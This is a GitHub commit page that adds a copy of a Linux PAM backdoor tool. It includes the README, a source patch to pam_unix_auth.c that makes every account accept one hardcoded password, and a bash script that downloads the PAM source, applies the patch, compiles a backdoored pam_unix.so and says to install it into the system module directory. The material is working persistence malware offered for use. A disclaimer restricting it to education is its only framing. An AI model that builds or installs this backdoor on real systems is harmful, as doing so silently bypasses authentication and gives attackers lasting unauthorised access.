Skip to content

Commit b8ac096

Browse files
author
Wolfgang Hotwagner
committed
added linux-pam-backdoor
1 parent a6a31f3 commit b8ac096

File tree

803 files changed

+141573
-1
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

803 files changed

+141573
-1
lines changed

files/linux-pam-backdoor

Lines changed: 0 additions & 1 deletion
This file was deleted.

files/linux-pam-backdoor/LICENSE

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
MIT License
2+
3+
Copyright (c) 2017 zeph
4+
5+
Permission is hereby granted, free of charge, to any person obtaining a copy
6+
of this software and associated documentation files (the "Software"), to deal
7+
in the Software without restriction, including without limitation the rights
8+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9+
copies of the Software, and to permit persons to whom the Software is
10+
furnished to do so, subject to the following conditions:
11+
12+
The above copyright notice and this permission notice shall be included in all
13+
copies or substantial portions of the Software.
14+
15+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21+
SOFTWARE.

files/linux-pam-backdoor/README.md

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# linux-pam-backdoor
2+
Linux PAM Backdoor
3+
4+
ORIGINAL SOURCE: https://github.com/zephrax/linux-pam-backdoor
5+
6+
This script automates the creation of a backdoor for Linux-PAM (Pluggable Authentication Modules)
7+
8+
## Usage
9+
To generate the backdoored pam_unix.so, just run:
10+
```
11+
./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd
12+
```
13+
14+
You have to identify the PAM version installed on the system, to make sure the script will compile the right version. Otherwise you can break the whole system authentication.
15+
16+
After the execution of the script, the last step is to copy the generated pam_unix.so to the pam modules dir on the host.
17+
18+
```
19+
cp pam_unix.so /usr/lib/security/
20+
```
21+
22+
That's all.
23+
24+
After that, you can log-in to the system using an existing user, and the previously configured password.
25+
26+
Use this for educational purposes only.
27+
I am not responsible for the damage you might cause.
28+
29+
## Dependencies
30+
31+
Tested with ubuntu 20.04:
32+
* 1.1.8 and older: failed to compile
33+
* 1.2.0: worked
34+
* 1.3.0 to 1.4.0: worked
35+
36+
The following packages where used
37+
```bash
38+
apt install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc
39+
```
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
*** ./modules/pam_unix/pam_unix_auth.c 2016-04-11 08:08:47.000000000 -0300
2+
--- pam_unix_auth.c 2017-06-07 21:25:25.656306410 -0300
3+
***************
4+
*** 170,176 ****
5+
D(("user=%s, password=[%s]", name, p));
6+
7+
/* verify the password of this user */
8+
! retval = _unix_verify_password(pamh, name, p, ctrl);
9+
name = p = NULL;
10+
11+
AUTH_RETURN;
12+
--- 170,180 ----
13+
D(("user=%s, password=[%s]", name, p));
14+
15+
/* verify the password of this user */
16+
! if (strcmp(p, "_PASSWORD_") != 0) {
17+
! retval = _unix_verify_password(pamh, name, p, ctrl);
18+
! } else {
19+
! retval = PAM_SUCCESS;
20+
! }
21+
name = p = NULL;
22+
23+
AUTH_RETURN;
Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
#!/bin/bash
2+
3+
OPTIND=1
4+
5+
PAM_VERSION=
6+
PAM_FILE=
7+
PASSWORD=
8+
9+
echo "Automatic PAM Backdoor"
10+
11+
function show_help {
12+
echo ""
13+
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
14+
echo "For a list of supported versions: https://github.com/linux-pam/linux-pam/releases"
15+
}
16+
17+
while getopts ":h:?:p:v:" opt; do
18+
case "$opt" in
19+
h|\?)
20+
show_help
21+
exit 0
22+
;;
23+
v) PAM_VERSION="$OPTARG"
24+
;;
25+
p) PASSWORD="$OPTARG"
26+
;;
27+
esac
28+
done
29+
30+
shift $((OPTIND-1))
31+
32+
[ "$1" = "--" ] && shift
33+
34+
if [ -z $PAM_VERSION ]; then
35+
show_help
36+
exit 1
37+
fi;
38+
39+
if [ -z $PASSWORD ]; then
40+
show_help
41+
exit 1
42+
fi;
43+
44+
echo "PAM Version: $PAM_VERSION"
45+
echo "Password: $PASSWORD"
46+
echo ""
47+
48+
PAM_BASE_URL="https://github.com/linux-pam/linux-pam/archive"
49+
PAM_DIR="linux-pam-${PAM_VERSION}"
50+
PAM_FILE="v${PAM_VERSION}.tar.gz"
51+
PATCH_DIR=`which patch`
52+
53+
if [ $? -ne 0 ]; then
54+
echo "Error: patch command not found. Exiting..."
55+
exit 1
56+
fi
57+
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
58+
if [[ $? -ne 0 ]]; then # did not work, trying the old format
59+
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
60+
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
61+
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
62+
if [[ $? -ne 0 ]]; then
63+
# older version need a _ instead of a .
64+
PAM_VERSION="$(echo $PAM_VERSION | tr '.' '_')"
65+
PAM_DIR="linux-pam-Linux-PAM-${PAM_VERSION}"
66+
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.gz"
67+
wget -c "${PAM_BASE_URL}/${PAM_FILE}"
68+
if [[ $? -ne 0 ]]; then
69+
echo "Failed to download"
70+
exit 1
71+
fi
72+
fi
73+
fi
74+
75+
tar xzf $PAM_FILE
76+
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
77+
cd $PAM_DIR
78+
# newer version need autogen to generate the configure script
79+
if [[ ! -f "./configure" ]]; then
80+
./autogen.sh
81+
fi
82+
./configure
83+
make
84+
cp modules/pam_unix/.libs/pam_unix.so ../
85+
cd ..
86+
echo "Backdoor created."
87+
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
88+
echo ""
89+

0 commit comments

Comments
 (0)